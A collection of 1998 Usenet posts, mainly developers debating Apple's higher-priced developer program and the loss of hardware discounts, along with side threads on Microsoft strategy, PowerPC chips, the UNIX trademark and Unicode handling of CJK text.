'friendly' to MS by users and developers. If YB/Win98/NT works as
advertised and developers like it, then Rhapsdoy isn't such a big leap.
Stuff like that.
MS also helps with #1 if they can hold back any others that might compete
with Apple for the future position.
So MS becomes a key for Apple almost *because* they hold the world back.
Clearly Java, MacOS, Rhapsody, whatever cannot compete against MS head-on.
But if Apple can work with MS, and use MS, and when the time is right
steer uses away from MS, then they might have a better chance to succeed.
And if that can happen, we get exactly what we want.
>I don't agree that the "whole of mankind" is better served by
>"crippling" man's innovation, adventure, risk and discovery into
>perpetuity. Without visonaries like Brad Cox, Steve Jobs and Tim
>Berners-Lee we wouldn't have that "chance" opportunity of a Lifetime
>where a _convergence_ of these people's products, imaginations and
>ideas mattered to a World. Fear of the Unknown (ie. non-MS) breeds
>"Doubting Thomas'es " and the single insipient threat to American
>entrepreneurialism. Unless, you can better argue that the whole of O-O
>architecture, programming, WWW and this Grand Internet "Phenomenon" we
>are having would have happened anyway on Microsoft in 1990? Microsoft
>is just one big chicken that can lay one whole lot a eggs. You gotta
>have the ones who can lay the "Golden" eggs.
>
>Take that bet against Microsoft...
>
><Dig="HARD"><Heels Down>
But the world today doesn't embrace revolution. If a change affects even 7
people on earth, Dan Rather will hunt those 7 people down and put them on
national news. The industry and the country is in a state of placing the
safe bet, going with what works. Nobody want's MS to go away, not so long
as sales increase at 20% per year and stock prices at 30%. The safe bet.
Nobody wants the next big thing since we're all still getting rich off of
the last big thing. The safe bet.
The time for change will come soon enough. As soon as MS stops being a
safe bet, as soon as that growth tapers off, things will change. There
won't be a safe bet, and JavaOS or Rhapsody or BeOS or whatever will be as
attractive as the next version of Windows. People will be desperate for
success, and take greater and greater risks to attain it.
Think different.
-Bob Cassidy
Message-ID: <352AD3D9.E75FB2D9@adr.dk>
Date: Wed, 08 Apr 1998 03:33:33 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6gbg00$j05$1@hecate.umd.edu>
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Xcanpos: shelf.1/199804221001!0003698521
David T. Wang wrote:
> --
> The more you learn, the more you will come to realize that how little of
> the universe that you actually understand. I am convinced that, soon, I
> will know and understand nothing.
Funny, I used to say..
Wisdom is to find out how stupid you really are.
-WoF-
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 23:05:47 -0500
Organization: CE Software
Message-ID: <MPG.f960500e190219d989895@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net>
In article <joe.ragosta-0804982109560001@elk62.dol.net>,
joe.ragosta@dol.net says...
> > Including Microsoft, who looks better and better every day.
>
> Anyone notice that people like Mr. brown here, who would apparently never
> go near a Mac from reading his posts, are the ones complaining while
> developers like mmalc are supporting the change?
>
Joe, are you mildly familiar with QuicKeys, QuickMail, MockPackage, or a
few dozen other Mac products I've written (directly or been on the team)?
Right now I'm working on an instant messaging type program for small
intranets (QuickConference IP). I'm writing the Mac and Windows clients.
I expect to be programming on both platforms as long as there is a viable
Mac platform.
But, you're right, my personal machine is now my Micron Transport XPE,
instead of my Powerbook 1400. That's because, when Apple killed CHRP as a
way of making MacOS clones quickly with lots of variety, in spite of
having sold it to the high heavens at WWDC a few months ago, made me
finally decide that Apple just cannot be relied on. That's also when I
started learning Windows programming (QCIP will be my first commercial
Windows product).
The CHRP fiasco was what made me decide I can no longer afford to link my
career solely to Apple. The way Newton was killed (very quickly and very
soon after Jobs sent emails to Newton developers reassuring them that not
spinning Newton off was a way to assure Newton's continued existance) and
now this have made me quite sure I made the right decision.
I used to be the epitome of the developer who would bleed in six colors.
It was very difficult to make the change. I switched my personal machine
to be a Windows machine so I'd have to know what it's like to be a
Windows user in order to deal with the issues. I still encounter times I
wish I was running a Macintosh, but I also encounter times I am glad I'm
running a Windows. Sorry, but Windows doesn't such. It was a hello of a
surprise to me too.
I still am hoping and praying that Apple makes it big. I still love the
product. And I recognize that there are hard decisions that need to be
made and this might even be one of them. But, the way they did it sends
a big message to at least the small to medium sized developer "We don't
care about you."
Well, Microsoft never claimed to care about us, but they haven't broken
any promises or revised our contracts while they're still in effect
lately. There will be some number of developers giving up on Apple and
switching to Windows because of this action. I don't know how many, but
in Apple's weak position, any is too many.
Donald
From: tom_e@usa.net (Thomas Engelmeier)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 15:26:36 +0200
Organization: University of Rostock
Message-ID: <1d77rmi.1x8sxa31jbipc0N@desktop.tom-e.private>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
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Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> The people for whom this price change matters are individuals and
> students. And, to be blunt, these people are the ones who are unlikely to
> have the resources (unused machine(s) to dedicate to Rhapsody, a
> functioning LAN with a firewall [to meet the RDR1 licensing terms], and a
> working fileserver and preferably NetInfo server) to provide Apple with
> the kinds of feedback that they could use.
That it's unlikely to find individuals with a really cheap firewall for
a Mac set up (besides vicom internet gateway) might be due to a huge
delay in OT´s product evolution. On the WWDC two (or three?) years ago
it was announced routing in OT would follow soon. Now it seems to be
there - undocumented. I bet if I used one of my yearly Q's to devsupport
I wouldn't gain any information how to use it. WinProxys / Gatekeeper or
routers with IP-Masquerading and basic firewall services are in my
experience pretty popular for individual developers who run their SOHO
network and try to sqeeze out the most from each platfor they use.
If you continue calculating as a businessman, it`s not the time to let
your highly paid employee to fiddle around with a nearly unsupported,
buggy operating system nobody really knows when it will released and how
big the customer base will be. Not for a small company who has to keep
their development power together and especially not for a large company
where peacounters, not nerds make decisions. The chances some hacking
folks with linux / BSD experience spend their spare time to track down
some of the DR´s oddities and create a valuable bug report are much
higher, even though that would imply there is some interest in tracking
down a bug. (Which is - according to my experience - not the case)
Regards, TomE
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 23:10:11 -0500
Organization: CE Software
Message-ID: <MPG.f96061a156c1db989896@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <joe.ragosta-0904980640290001@elk33.dol.net>
In article <joe.ragosta-0904980640290001@elk33.dol.net>,
joe.ragosta@dol.net says...
> In article <352AAF57.25EB@skdjsk.no>, sdd wrote:
>
> > I want a student developers program...
> >
> > 150-200 $/year for cd's...
> >
> > Anonymous..
>
> Apple has publicly stated that there will be an attractive educational
> program--it's just not ready yet.
Another case where Apple does not know the first rule of wing-walking.
Don't let go of what you've got until you've got hold of something else.
Donald
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.mac.oop.powerplant
From: mooncake@cs.toronto.edu (Jeff Tupper)
Subject: Re: Apple developer program
Message-ID: <1998Apr9.093759.86@jarvis.cs.toronto.edu>
Organization: CS Lab, University of Toronto
References: <352b5da2.0@206.25.228.5> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3>
Date: 9 Apr 98 13:38:00 GMT
In article <j-jahnke-0804982141280001@192.168.1.3>,
Jerome Jahnke <j-jahnke@uchicago.edu> wrote:
>In article <rmcassid-0804981509160001@dante.eng.uci.edu>, rmcassid@uci.edu
>wrote:
>
>Now this is a bunch of bull. Many of us were Associates for one reason and
>one reason only, access to cheaper equipment. Apple does not lose money by
>selling me my one machine a year at a low price. And I can have high end
>hardware at a reduced cost so that I can continue to develop high quality
>Apple Software. I didn't call them to ask them to help me with MacOS
>problems we have newsgroups for that, and I participate here with others
>to help people along. 250 bucks is cheap to send me 20 CD's a year and
>give me early access to new Apple Technology.
>
>What they have done is doubled the price given me a feature I don't and
>probably won't use, taken away the one I do use and didn't even give me a
>choice to get my money back. I would agree with everyone here who supports
>Apple on this decision if they had said. OK, all old Associates it is
>business as usual. Next year however, the price is going to double and you
>are going to get less.
>
>How much money is Apple saving by keeping me from buying a cheap machine
>this year?
>
>Jer,
ditto.
We have thousands of users (paying between $22 and $1200 per license),
and we can afford $500 a year (or even $3500 per year). We only buy one
machine a year, and it was nice getting it from Apple (selection isn't so
great up here in Canada) along with CDs. But, without the hardware discount,
I don't see why we should stay in the program (for $500) since I can just
buy 8.2 when it comes out. We don't need all the prelease software we get,
and the SDKs can be downloaded off the net. As for $3500, I would rather
apply that to the cost of a machine. As for techinical help, I have never
asked for that, although I have answered questions others have asked me
about development.
The net effect of the change is to probably get us to no longer be an Apple
developer (officially) and to not look at Rhapsody for a while longer...
It saddens me, since I have enjoyed being an official Apple developer.
I would stay in if the $500 program included a hardware discount
on one machine. Not sure what to use my two questions on though :) even
with hundreds of thousands of lines of commercial code...
I am wondering how this will affect ESP (since we are an ESP member as well).
[ESP = Apple's Educational Solution Provider program]
Jeff Tupper
www.peda.com
From: Wesley Horner <wesman@azrael.uoregon.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 7 Apr 1998 06:08:26 GMT
Organization: University of Oregon, Eugene
Message-ID: <6gcfsq$nad$2@pith.uoregon.edu>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <6g0ft9$k6c$5@anvil.BLaCKSMITH.com> <Eqynrq.7GJ@rsxtech.atww.org>
Raymond N Shwake <rshwake@rsxtech.atww.org> wrote:
> UNIX is not just a TradeMark (TM), but a *registered* trademark (R).
> Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS tissue a
> Kleenex (R), but in each case you're violating legal rights. Yes, we all
> do it, but a "class reference" has no validity where trademark law is
> concerned.
Perhaps it has become common enough that the trademark is meaningless. Remeber
the zipper? It was one a trademarked product but lost the trademark when it
bcame a household name. Mmmmm is unix a house hold name? A number of people
think a unix is somthing else :)
wes
--
~~~~wesman@gladstone.uoregon.edu~~~~~~~~~~NeXTMail OK!~~~~~~~~~~~~~~~~
Vax a vicious creature known to eat 110AC and quotes through its
*DCL*. Vax are usually found in groups of Vaxen called clusters where
they lay in wait to ravage thier prey known as users.
From: Holger Bettag <hobold@informatik.uni-bremen.de>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 09 Apr 1998 16:24:37 +0200
Organization: Universitaet Bremen, Germany.
Message-ID: <8xaf9vgjiy.fsf@informatik.uni-bremen.de>
References: <6fbvpe$l63@newsb.netnews.att.com>
<6g9m3n$neh@bgtnsc02.worldnet.att.net>
<slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com>
<6gh5mo$eku$1@flea.best.net>
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dillon@best.net (Matt Dillon) writes:
[...]
> Look how easily IBM ran out a 1GHz Power PC core in copper ? They
> probably didn't have to change the design at all.
>
AFAIK IBM's GHz research project developed the demonstrated CPU core from
the ground up. It's also not really a PowerPC, it only executes some subset
of the PowerPC ISA. However, it wasn't even fabricated in the new copper
interconnect process, just 'traditional' 0.25um silicon. IBM definitely
seems to lead the field.
Holger
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352b5da2.0@206.25.228.5>
Date: 8 Apr 98 11:21:06 GMT
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
> trumbull@cs.yale.edu (Ben Trumbull) wrote:
> > I'm not about to stand up and say these changes are a great
> > idea on Apple's part, but you do realize, you can buy *just*
> > the tech mailing (including develop) for $199 ?
> Which is what we used to do, but then realized you could not get
> seeded unless you were an associate.
What's seeded mean? Does that mean no beta's?
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 14:46:40 GMT
Organization: P & L Systems
Message-ID: <6gin0g$oop$10@ironhorse.plsys.co.uk>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr>
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Cc: hh@ArtQuest.fr
In <352CA831.D4878417@ArtQuest.fr> Hubert HOLIN wrote:
> mmalcolm crawford wrote:
> [SNIP]
> > If you're a professional developer, or intent on producing shareware
that's
> > of genuine utility (i,e, good enough that people will pay for it), $500
> > should not be a serious impediment, else your business plans are out of
> > kilter.
> [SNIP]
> By that measure, freeware is junk, right? I guess TeX, GNU and their ilk
are
> unknown to you...
>
Absolutely not; where did I say that?
Please do not put such gross insults into my mouth.
mmalc.
Date: Wed, 08 Apr 1998 22:50:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804982250580001@wil62.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com>
In article <MPG.f960500e190219d989895@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-0804982109560001@elk62.dol.net>,
> joe.ragosta@dol.net says...
> > > Including Microsoft, who looks better and better every day.
> >
> > Anyone notice that people like Mr. brown here, who would apparently never
> > go near a Mac from reading his posts, are the ones complaining while
> > developers like mmalc are supporting the change?
> >
> Joe, are you mildly familiar with QuicKeys, QuickMail, MockPackage, or a
> few dozen other Mac products I've written (directly or been on the team)?
>
> Right now I'm working on an instant messaging type program for small
> intranets (QuickConference IP). I'm writing the Mac and Windows clients.
> I expect to be programming on both platforms as long as there is a viable
> Mac platform.
>
> But, you're right, my personal machine is now my Micron Transport XPE,
> instead of my Powerbook 1400. That's because, when Apple killed CHRP as a
> way of making MacOS clones quickly with lots of variety, in spite of
> having sold it to the high heavens at WWDC a few months ago, made me
> finally decide that Apple just cannot be relied on. That's also when I
> started learning Windows programming (QCIP will be my first commercial
> Windows product).
>
> The CHRP fiasco was what made me decide I can no longer afford to link my
> career solely to Apple. The way Newton was killed (very quickly and very
> soon after Jobs sent emails to Newton developers reassuring them that not
> spinning Newton off was a way to assure Newton's continued existance) and
> now this have made me quite sure I made the right decision.
>
> I used to be the epitome of the developer who would bleed in six colors.
> It was very difficult to make the change. I switched my personal machine
> to be a Windows machine so I'd have to know what it's like to be a
> Windows user in order to deal with the issues. I still encounter times I
> wish I was running a Macintosh, but I also encounter times I am glad I'm
> running a Windows. Sorry, but Windows doesn't such. It was a hello of a
> surprise to me too.
>
> I still am hoping and praying that Apple makes it big. I still love the
> product. And I recognize that there are hard decisions that need to be
> made and this might even be one of them. But, the way they did it sends
> a big message to at least the small to medium sized developer "We don't
> care about you."
>
> Well, Microsoft never claimed to care about us, but they haven't broken
> any promises or revised our contracts while they're still in effect
> lately. There will be some number of developers giving up on Apple and
> switching to Windows because of this action. I don't know how many, but
> in Apple's weak position, any is too many.
I apologized to Donald in e-mail for the strength of my comments.
But I don't see anything here that changes the essence.
As I see it (and these comments reinforce it), Donald is very much acting
in the Lawson mold--Apple is guilty until proven innocent. He's measuring
everything by _HIS_ standards and finds Apple at fault every time they
don't meet his expectations.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <01bd6267$fa532b30$9b2168cf@test1>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352ad905.0@206.25.228.5>
Date: 8 Apr 98 01:55:17 GMT
"Todd Heberlein" <todd@NetSQ.com> wrote:
> > Agreed. I might have considered getting Rhapsody under the
> > previous program. I might be able to scrounge up $250. $500
> > is out of my price range. I guess they didn't solicit input
> > from graduate students when forming their new policies. I'm
> > hardly an important developer for Apple, and am
> As a student, you will probably be able to get the full development
> environment quite inexpensively from Apple, but we will have to
> wait a while for Apple to make that move. The last time I received
> word from Apple (less than a month ago), they had not hammered
> out all the license deals with third parties.
> Also, $500 is still quite cheap. As I mentioned in another
> thread, yesterday I paid $1300+ for a license to use Digital's
> command-line debugger (which is pretty lame).
> I am also a Sun Catalyst member, but I still pay a fairly high
> price for Sun's development tools.
Yea, and look at the marketshare and number of developers for that
platform vs. the mac. I don't know the details of this program
change yet, so I'll reserve final judgement till then. But *if*
they cut services and doubled the costs to developers, I'd say this
is the proud continuation of BOZO behavior at Apple. Clearly not
everyone in the developer programs makes killer apps, but the more
developers you allow access, the more likely more developers will
make killer apps. *If* Apple has decided in its avarice that it
only needs a certain type of wealthy developer, then it deserves
all the negative consequences that follow. Namely, a loss of
developers, apps, and marketshare.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 15:06:30 GMT
Organization: P & L Systems
Message-ID: <6gio5m$oop$11@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
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Cc: trumbull@cs.yale.edu
In <trumbull-0904980039090001@net44-223.student.yale.edu> Ben Trumbull wrote:
> In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > Apple's customers who no longer have to subsidise hobbyist developers.
>
> Apple never "subsidized" hobbyists. You don't think Apple made money off
> of every single on of them ?
>
No, I don't. I'm quite sure there are a number of hobbyists developing
worthwhile s/w which I might find useful at some point, however on balance
reports suggest that the previous system was badly abused and on average
Apple will have lost revenue through people signing up as developers simply
to get hardware at reduced prices.
If you're a real hobbyist, do you *need* access to the bleeding edge s/w?
If not, then you don't need to belong to the program, so it won't cost you
anything.
If you think you do need access to bleeding edge s/w, then that's a fairly
serious hobby, and I think it's reasonable for people to invest in it. My
main hobby is acting; in June I'll be playing George in "Same time next year"
(I didn't have the legs to play Doris); incidental expenses including travel
to and from rehearsals are likely to cost as much as subscription to the
Select program for the next two months. Maybe I should send in my petrol
receipts to Apple...?
Does all this mean I don't appreciate the efforts of those who give their
time? No. Does this mean I like the fact that something's going to cost
more? No. Does this mean that I think Apple's taking a sensible business
attitude to concentrating its resources where they matter? Yes.
> Apple's got bigger problems than whether they make a small or large profit
> off their developers. It's like the government. As if cutting education
> spending and funding to the arts could possibly make a difference in the
> deficit when social security, welfare, and the miltary combind are about 3
> orders of magnitude more money. Failing to attract new marketshare is
> just a whee bit more problematic than the extra $250.
>
Indeed, which is why I'm pleased to see that Apple is investing significantly
in what appears to be a very effective marketing campaign, which is raising
awareness of the brand and the technologies it has to offer, and causing
consumers to Think Different about the company.
I also hope that the additional fees will go toward giving a better service
to those who choose to stay in one of the developer programs.
As for yourself; I notice you have a .edu address. Perhaps you should wait
to see exactly what APple announces for academics before throwing too many
stones...
Best wishes,
mmalc.
From: terry <dont@spam.me>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 01:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <3529E8CC.41C67EA6@spam.me>
References: <6g6jrc$9j9$1@news.cs.tu-berlin.de> <B14D4A03-8686B@206.165.43.14>
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Lawson English wrote:
] > >Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
] >
] > What alternative rich text format would you have chosen?
]
] Something like a flattened version of NSText ala GX's flattened
] layout-shape file format. RTF isn't designed to handle the
] Unified Hangul Problem. Neither is NSText, if it is based on
] Unicode, but it is a start (some Hangul characters are used
] different ways in Chinese, Japanese and Korean, making the
] possible combinations of characters in these three languages
] a total of 84,000, while Unicode's Hangul implementation can only
] deal with 64K worth. The problem could be demontrated by writing
] a single paragraph describing the issue, quoting the same Hangul
] character in the three languages -the pathological case would be
] simply the three characters in the three languages, all having
] to share the same Unicode encoding -attempts to sort them properly
] would fail in any Unicode-only text-solution.
Uh, Unicode is a character encoding standard, not a font
encoding standard.
It does not (nor was it intended to) address the issue of
representing code points with multiple possible glyphs.
You could make the same argument you made above, and make
ir more effectively than you have, by suggesting a book on
cursive English written in English. This suffers exactly
the same type of glyph unification problems, and is much
closer to home for an English-reading forum.
Your argument about sorting is baseless, since it only
makes sense to sort within a given round-trip character
set. True, Unicodes sorting order for the CJK unified
charater sets is Chinese Dictionary order, even though
it's technically not, since the base ordinal value is not
zero. For Japanese Dictionary sorting order (which one?),
you would sort in JIS-208 or JIS-208 + JIS-212 -- and end
up with the correct collation sequence.
The fallacy with your claim is that RTF encoding is meant
to convey the font and other attribution of the characters
in the Unicode character set. In other words, it's a big
non-problem. I believe the glyph you were looking for is
the unified Kanji for "Grass". Luckily, Unicode does not
encode glyphs.
You should look at "uniterm". It is available for evaluation
download, and it can easily do what you say can't be done.
It also has the advantage of running under X.
If Unicode has a failing, it is founded firmly in an implicit
bias against fixed-cell pre-rendering technologies. Like X
fonts, Selectric(tm) balls, character ROMs, and printer chains.
The problem here is ligatured languages, and the lack of an
interspersed "private use area" between ligatured characters
for pre-rendered glyph variants in a font.
Shows the inherent Adobe/Taligent bias in the assumptions
about how rendering engines are going to be implemented in
the display server. Like X isn't bloated enough, now we
should have to pay to license TrueType(tm) on top of that?
Why is it that standards bodies made up of mostly corporate
entities with cross licensing agreements choose supposed
"standards" that require proprietary technology licences?
Even that argument falls a bit flat (sownload xtamil, if
you don't believe me; it's a lunker, and the fonts are not
lightweight, but it succeeds in representing Tamil on an X
display. In case you were wondering, Tamil is a ligatured
Indic script.
Finally, people forget the difference between localization
and multinationalization. Unicode is a tool to enable you
to data-drive a localization.
What you are complaining about is a lack of a tool to enable
multinationalization (ie: handling of multiple round-trip
character sets simultaneously, as would be necessary for
language texts and/or translation consoles). For those
cases, it's really up to *you* to write a layered tool on
top of the tools Unicode has given you, using some form of
document compounding (CDA, OpenDOC, RTF, whatever).
In the end, no one gives a damn about encoding, so long as
the software works in the locale intended; it's only software
developers and language scholars who care about multinational
capable tools. And we're not a very big market; we can be
expected to eat the overhead as a cost of doing business.
Terry Lambert
---
Any opinions in this posting are my own and not those of my present
or previous employers.
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 14:25:24 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
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Scott Ellsworth <scott@eviews.com> wrote:
> The seeding program, imho, served a valuable purpose, but
> Apple, I think, does not want any leaks of its seeds, and so
> it is trying to reduce the number of developers who might
> have access.
What is obviously stupid : WarEz sites have System Seeds BEFORE the
official FTP :-(
Xav, looking for a warez URL
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 17:32:03 GMT
Message-ID: <01bc45d4$8961c2c0$43f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com>
Donald Brown <don.brown@cesoft.com> wrote in article
<MPG.f960500e190219d989895@news.supernews.com>...
> In article <joe.ragosta-0804982109560001@elk62.dol.net>,
> joe.ragosta@dol.net says...
> > > Including Microsoft, who looks better and better every day.
> >
> > Anyone notice that people like Mr. brown here, who would apparently
never
> > go near a Mac from reading his posts
> Joe, are you mildly familiar with QuicKeys, QuickMail, MockPackage, or a
> few dozen other Mac products I've written (directly or been on the team)?
Yup, just Joe Ragosta living up to his nickname of
MR FUDMEISTER.
Peter was right, Joe is logical, a logical FUDster
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 17:33:15 GMT
Organization: P & L Systems
Message-ID: <6gj0or$oop$12@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no>
<6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu>
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In <philipm-0804982051170001@pm1-23.eecs.umich.edu> Philip Machanick wrote:
> In article <6ggvub$oop$5@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> >Apple acting as a charity subsidising people's hobbies is what's insane.
> >Nor should they be offering a program wide open to abuse by people signing
up
> >as developers just to get a discount on hardware.
>
> I don't think Apple is subsidising developers. Without developers, no one
> would buy Macs (they tried that experiment in 1984).
>
By offering a hardware discount of course Apple was subsidising developers --
that's what the discount was for. Now they've raised the bar to ensure in
part that the system isn't abused. For the sorts of commercial applications
that I suspect you're referring to, on which the platform depends, if the
business seriously needs access to seed software but cannot afford a $500 a
year, it does not have a competent business plan.
> Anyway what's wrong
> with having a sneaky back door way of cutting dealers out of the loop?
>
A "sneaky back door way" is called screwing the channel.
I suspect this is not what you meant.
> What has a dealer ever done for you?
>
Actually my local Apple VAR in Sheffield was *extremely* helpful.
Trimac, for anybody based in Yorkshire: 0114 272 4127
(I even remember their phone number).
> You don't think Apple loses on hardware sold at developer prices?
>
Compared to hardware sold at retail prices, yes.
mmalc
From: peltz@jaka.ece.uiuc.edu (Steve Peltz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 12:59:41 -0500
Organization: NovaNET Learning, Inc.
Message-ID: <6gj2ad$ap4$1@jaka.ece.uiuc.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
